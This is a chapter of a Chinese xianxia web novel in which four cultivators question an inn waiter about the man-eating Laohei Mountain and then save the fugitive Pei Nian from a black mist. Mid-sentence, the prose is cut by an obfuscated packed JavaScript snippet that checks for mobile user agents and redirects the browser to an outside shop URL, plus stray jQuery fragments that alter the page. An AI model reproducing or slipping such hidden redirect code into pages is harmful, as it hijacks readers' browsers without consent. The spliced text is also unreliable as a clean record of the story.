柳雨棠一行人来到水云镇的时候,秦映真已经在客栈等着他们了。
柳雨棠道:“镇中可有什么异动?”
秦映真捧着茶杯幽幽道:“我感应不到裴念了……”
柳雨棠挑眉:“他发现了?”
“不会,”秦映真摇头,“他应该还在这里,是昨日突然断了联系。引虫完好无损,如果裴念出事,引虫也会有所反应。但是现在引虫好好的,却感应不到裴念,有点像是裴念进入了某种阵法,与外界隔绝了。”
“阵法……”柳雨棠眉心微动,“难道裴念去解蛇妖的封印了?”
秦映真道:“看来得尽快找到蛇妖的封印之地,可是都已经过去这么长时间,谁知道紫阳仙尊当年把蛇妖封在哪里了?”
柳雨棠起身,沈悠立刻道:“师姐,你干什么去?”
柳雨棠道:“去找此地的驻镇仙门世家。”
“免了吧。”卫红叶把柳雨棠拉回来,“你可知此地的仙门是谁?”
沈悠道:“不是方家吗?”
卫红叶摇摇手指:“那是之前的事了,三年前方家深感金川王家家主英明神武,气度不凡,将来前途无量必能飞升,所以携全家老小投奔王世雄了。现在,方家已经依附在金川王家门下了。”
“真的假的,”沈悠问道,“王家家主魅力这么大?”
“笨蛋,当时假的。”卫红叶道,“其实就是王世雄看上了水云镇的风水,想要抢过来,方家迫不得已将水云镇送了出去。”
就王霙那个德行,他爹能好到哪儿去?
“仙盟不管管吗?”沈悠问出这句话之后就反应过来,是方家“自愿”的,谁又能说什么呢。
沈悠道:“那要如何打听?”王家要是见了他和师姐,不坑他们都是好的了,怎么可能会给他们提供线索。
秦映真道:“要不去千金阁看看?”
“不用这么麻烦,”卫红叶笑嘻嘻地指向某一处:“去那里就行。”
顺着卫红叶指的方向看去,楼下人来人往,伙计正忙得热火朝天。卫红叶道:“这里每天这么多客人,人多口杂,若是有什么怪事一定瞒不过他们的耳朵。”
“能行吗?”秦映真一脸怀疑,一群凡人而已,能知道多少事?
“当然可以啊,不然你以为千金阁那么多消息是从哪儿来的?”卫红叶一脸“你们这群不食人间烟火的大小姐”的表情,“最近的千金阁离这儿千里之遥,哪有当地人熟悉情况。”
一行人下了楼,伙计见他们气度不凡,惊为天人,不敢怠慢。伙计卯足了劲擦干净桌椅板凳才引着他们落座。
“客官,要点些什么?”伙计热情地招呼道,“我们这儿好吃的可多着呐!”
卫红叶笑道:“伙计,把你们这儿的招牌菜上几道,再来一壶好酒。”
“好嘞客官,您稍等。”
不多时,饭菜已经上齐,柳雨棠他们也没多言,默默地吃饭听卫红叶同伙计聊天说地,热络了两句,卫红叶便切入正题,问道:“此地可有什么异事?”
那伙计也是个能聊的,问道:“客官想听什么样的怪事?”
卫红叶想了想,道“比如说闹鬼、精怪、妖怪吃人什么的。”
伙计嘿嘿一笑:“客官您算是找对人了,这儿一片的奇闻怪事没有我不知道的。”
路过的另一个伙计啐了他一声:“你见天就听些仙啊怪啊的,小心哪天被妖怪吃喽。”
“去去去,咱们这儿有仙长在,哪有什么妖怪吃人。”伙计眼珠子提溜打转,“我看您四位气度不凡,想必是那些在天上飞来飞去的仙长吧。”
沈悠挪了挪位置,把伙计拉过来坐下,道:“是呀是呀,我们这次来就是专门斩妖除魔的。”
“要说这奇怪事,还真有。只不过年岁比较久了,大家越传越怪,说什么的都有。”伙计搓了搓手,“您往南走二十里,那儿有座山,名唤老黑山。”
柳雨棠道:“那山怎么了?”
“那山会吃人!”伙计道,“不知从何时起,凡是进入到老黑山的人都没有再出来过。一到晚上就传来奇怪的声音,鬼哭狼嚎的,听着可瘆人了。”
“你们这儿不是有驻守的仙门世家吗?”秦映真问道。
“有啊,怎么没有?”伙计道,“不管用,听说当时方家派了好几拨人去了老黑山,全部都没有出来,连当时方家家主的小儿子都搭进去了。”
“然后呢?”沈悠问道。
“然后啊,方家从外面请来了一个特别厉害的仙长。好像是……姓顾?那位仙长手持一把宝剑踏入了老黑山,一夜金光大盛,从那以后老黑山就安静下来了,再也没有传出什么声音。只不过大家伙都不敢再去那里,宁愿多绕点路也要避开老黑山。”
闻言,柳雨棠几个人对视了一眼,姓顾的仙长……应该是紫阳仙尊吧。但是怎么跟传言说的不一样,蛇妖不是大开杀戒活生生杀了一整个镇子的人吗?
柳雨棠接着问道:“有没有妖怪吃人之类的传闻?”
伙计挠了挠头,想了半天:“没有啊,咱们这儿有仙门世家驻守,一向太平的很,连小偷小摸都很少有,更别提这种精怪厉鬼杀人之事,连这个传说也是很久之前的了,大概得……有一百年了吧,我也是听镇上的老人讲的。”
客栈老板走过来骂道:“你个小兔崽子,不干活讲什么乱七八糟的事情,快去上菜!”
“各位客官,小的得去忙了,你们吃好喝好,有什么事再叫我!”伙计对着老板哎了一声,忙不迭地去后厨取菜了。
沈悠道:“怎么跟师尊讲的不一样?难道蛇妖没杀人?”
“或许是时间太久,大家传着传着就变味了吧。”秦映真道,“当年蛇妖可是仙门百家联手镇压下去的,伙计刚才也没说蛇妖和仙门修士打斗什么的。”
卫红叶扒了一口饭,含糊道:“总之,那个老黑山肯定有问题。”
沈悠道:“我们晚上去看看吧,说不定我在老黑山能听到别的消息呢。”
是夜,月黑风高。
月亮被黑云遮住了光芒,只能模模糊糊看着四周的动静,也不知是不是心理作用,卫红叶感觉这四周的树木长得异常扭曲,乱七八糟的树枝像是无数的手臂,伸向黑漆漆的天空,试图想要抓住什么东西似的。
卫红叶缩在沈悠身后,哆哆嗦嗦道:“这儿怎么这么黑啊。”
秦映真道:“啧,你一个都快筑基的修士,怎么还怕黑啊?”
“谁,谁说我怕了……”卫红叶咽了口唾沫,“我这是敏锐,懂吗?”
沈悠憋笑,他这两
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14240429|148439||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
个师兄,傅师兄怕高,卫师兄怕黑,经常把齐师伯和顾师叔弄得哭笑不得。卫师兄都从秘境出来了,还是这么怕黑,不知道傅师兄这趟回来学会御剑飞行了没有。
柳雨棠微微偏头,问道:“沈悠,你有没有听到灵植讲话?”
“师姐,这里别说灵植了,连超过百年的树都没有。”沈悠道,“完全听不到灵植的声音。”
“这么新?”柳雨棠喃喃道,百年时光对于凡人而言是漫长的,但是对老黑山这种历经数千年的山头来说,这里连一棵上百年的树都没有,确实不同寻常。
突然,前面传来一阵脚步声,匆忙急促,似乎被什么东西在追赶着。
“嘘,别说话……”柳雨棠转过头,“前有人。”
柳雨棠摆摆手,他们四个人瞬间隐藏在幽密的草丛中,静静观察着前面的动静。低沉的喘息越来越近,慌乱的脚步踩在枯败的树枝上发出嘎吱的断裂声。
裴念一脸狼狈,胳膊上的伤口渗出一丝血气,拼命奔跑着,呼啸的风擦过耳畔仿佛恶鬼的嚎叫。
裴念咬牙,看着前面不远处草丛,心想:快了,马上就要出去了,就差一点了!
“嘶——”
身后的黑雾如同影子一般不紧不慢地跟在他的身后,发出嘶嘶的怪叫,似乎在享受追逐猎物的快感。眼见裴念要踏出某一条“界限”,黑雾陡然加快了速度,戾气如洪水决堤般猛然冲向裴念,不过一息之间黑色的雾气如藤蔓缠在裴念的身上。
当啷一声,裴念手中的罗盘掉落在枯叶上。
“好大的胆子,竟敢擅闯我的禁地。”从黑雾中传来一个阴森的声音。
“嗬……嗬……”裴念被死死掐着脖子,额头上青筋暴起,“放了我吧……”
“擅闯禁地者,死。”黑雾发出阵阵怪笑,“好久没有吃过修士的肉了,都快忘记是什么味道了。”
黑雾越缠越紧,裴念的气息也渐渐微弱起来。
下一瞬寒光袭来,强劲的剑气豁然重重撞上了黑雾。
轰的一声巨响,无形的冲劲卷起枯枝烂叶,尘土平地扬起。
黑雾发出不堪重负的嚎叫声,下意识地松开了裴念,只见裴念的身形还没落地,就被一条突然窜出来的藤曼卷入草丛深处。
“啊啊啊啊啊——”
眼见没有了食物,黑雾的嚎叫之声瞬间响彻整座老黑山,惊起无数的飞鸟。然而似乎是惧怕某个东西,黑雾只是站在草丛不远处干着急,迟迟没有动作。
“咳咳咳……”裴念衣衫凌乱,披头散发,狼狈至极。刚松了一口气,一双白靴印入眼帘,裴念抬头望去,只见柳雨棠笑意盈盈地看着他。
裴念愕然睁大了眼睛,还没来得及说话,只感觉后颈处一疼,两眼一翻倒在地上。
“雨棠,现在怎么办?”秦映真干脆利落地打昏了裴念,问道。
柳雨棠道:“把他带走,先问问情况。”
“好,”秦映真踢了踢裴念,“要不是这团黑雾,想抓他还真没这么容易。”说罢冲着不远处的黑雾灿烂一笑,“多谢啦!”
“滚出去!”黑雾愤怒地大喊道,一团黑漆漆的雾面看上去竟然让人觉得有几分委屈。
柳雨棠淡淡地看着不远处的黑雾,半晌,转头对沈悠他们说道:“走吧。”